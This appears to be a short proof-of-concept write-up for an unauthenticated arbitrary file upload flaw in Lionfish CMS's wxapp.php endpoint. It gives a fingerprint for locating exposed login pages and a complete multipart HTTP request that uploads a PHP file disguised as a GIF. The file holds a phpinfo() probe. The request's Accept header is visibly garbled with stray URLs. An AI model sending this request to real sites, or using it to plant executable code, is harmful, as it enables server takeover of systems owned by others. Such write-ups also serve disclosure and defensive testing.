Lionfish Cms Wxapp Php Arbitrary File Upload Vulnerability

Lionfish CMS wxapp.php any file upload vulnerability

Vulnerability Description

Lionfish CMS wxapp.php file There is a vulnerability to upload arbitrary file. Attackers can upload malicious files without authentication.

Vulnerability Impact

Lionfish CMS

Network surveying and mapping

“/seller.php?s=/Public/login”

Vulnerability reappears

The login page is as follows

Send request package to upload PHP file

POST /wxapp.php?controller=Goods.doPageUpload HTTP/1.1
Host: 
Content-Length: 210
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,https://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/avif,https://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/webp,https://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary8UaANmWAgM4BqBSs
Content-Disposition: form-data; name="upfile"; filename="test.php"
Content-Type: image/gif

<?php phpinfo();?>
------WebKitFormBoundary8UaANmWAgM4BqBSs--